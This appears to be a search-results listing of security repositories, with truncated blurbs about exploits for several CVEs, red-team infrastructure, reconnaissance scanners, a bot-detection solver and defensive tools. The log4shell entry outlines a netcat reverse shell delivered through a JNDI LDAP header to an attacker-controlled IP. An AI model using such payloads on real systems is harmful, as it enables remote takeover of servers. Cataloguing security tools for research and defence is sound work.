851145 matches found
malwoverview
Malwoverview !Alt...
malwoverview
Malwoverview !Alt...
Exploit-CVE-2023-22518
Exploit-CVE-2023-22518 CVE-2023-22518 in Confluence CVE-2023-22518: This vulnerability is described as “an improper authorization vulnerability in Confluence's database and server”. The issue affects On-premises versions of Atlassian products. Setup Environment Use the vulnerable version 8.0.4 UR...
log4jshell_CVE-2021-44228
log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convert into Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Proof of concept Log4j Po...
hideNsneak
Bienvenido a hideNsneak. Esta aplicación ayuda a gestionar infraestructura de ataque para pentesters proporcionando una interfaz para desplegar, gestionar y desmantelar rápidamente varios servicios en la nube. Estos incluyen VMs, domain fronting, servidores Cobalt Strike, API gateways y firewalls...
inquisitor
Inquisitor Notice This project is only partially complete and I have yet to implement many of the features described in the following blog post I made: https://penafieljlm.com/2017/07/14/inquisitor/. Inquisitor is a simple tool for gathering information on companies and organizations through the...
inquisitor
Inquisitor Aviso Este proyecto está solo parcialmente completo y aún tengo que implementar muchas de las características descritas en la siguiente publicación de blog que hice: https://penafieljlm.com/2017/07/14/inquisitor/. Inquisitor es una herramienta simple para recolectar información sobre...
vercel-botid
Solucionador de Vercel BotID / Cabecera "X-Is-Human" modo básico Resumen Este proyecto proporciona un solucionador basado en Golang para el desafío Vercel BotID. Utiliza go-fAST para desofuscar y luego extraer todos los valores requeridos. extremadamente rápido ⭐ Muestra tu apoyo Por favor,...
BugBountyScanner
BugBountyScanner Un script Bash y una imagen Docker para reconocimiento de Bug Bounty, pensado para uso sin interfaz gráfica. Bajo en recursos, alto en salida de información. ¿Útil? ¿BugBountyScanner te ayudó a conseguir un bounty? Descripción ⚠ Nota: Se recomienda encarecidamente usar el script ...
foxcage
foxcage Run Firefox in a rootless Podman container for security isolation. Your browser runs with almost no Linux capabilities, in its own user and network namespace, isolated from the host — while still having full GPU acceleration, audio, and DRM support. Why foxcage? Firefox already has a...
CVE-2023-33782
CVE-2023-33782 Description D-Link DIR-842V2 v1.0.3 was discovered to contain a command injection vulnerability in the iperf3 diagnostics functionality. Proof of concept...
log4fix
log4fix This tool is to detect and fix the log4j log4shell vulnerability CVE-2021-44228 by looking and removing the JndiLookup class from .jar/.war/.ear files with zero dependencies for free. This tool has been tested on: - Linux 32bit and 64 bit - Windows 32 bit and 64 bit - OpenBSD 64 bit This...
AndBug
======================================= AndBug -- A Scriptable Android Debugger AndBug is a debugger targeting the Android platform's Dalvik virtual machine intended for reverse engineers and developers. It uses the same interfaces as Android's Eclipse debugging plugin, the Java Debug Wire Protoc...
Minio-CVE-2023-28432
Minio-CVE-2023-28432 Detection tool for Minio-CVE-2023-28432 information leak. For learning and authorized testing only. Personal analysishttps://lhxhl.github.io/2023/04/03/minio2023/ Usage Requires golang environment root@kitploit: go build main.go ./main -h // help ./main -u url // single URL...
dnsmonster
¡Estamos explorando una solución SaaS gestionada para dnsmonster! Ayuda a dar forma al futuro del monitoreo pasivo de DNS compartiendo tus comentarios y requisitos: Responde nuestra breve encuesta Tabla de contenido Dnsmonster Características principales Instalación Linux Contenedor Compilar...
ESP32-Bit-Pirate
ESP32 Bit Pirate ESP32 Bit Pirate is open-source firmware that turns your device into a multi-protocol development and analysis tool, inspired by the legendary Bus Pirate. It supports sniffing, sending, scripting, and interacting with various digital protocols I2C, UART, 1-Wire, SPI, etc. via a...
tarnish
tarnish tarnish is a static-analysis tool to aid researchers in security reviews of Chrome extensions. It automates much of the regular grunt work and helps you quickly identify potential security vulnerabilities. This tool accompanies the research blog post which can be found here. If you don't...
libsodium
Sodium is an easy-to-use software library that provides a wide range of cryptographic operations including encryption, decryption, digital signatures, and secure password hashing. It is a portable, cross-compilable, installable, and packageable fork of NaCl. While maintaining API compatibility,...
CVE-2024-24919---Exploit-Script
CVE-2024-24919---Exploit-Script Description CVE-2024-24919 is a vulnerability in Check Point Security Gateway devices that allows unauthorized access to sensitive files through path traversal exploitation. This vulnerability enables an attacker to read the contents of certain files on the target...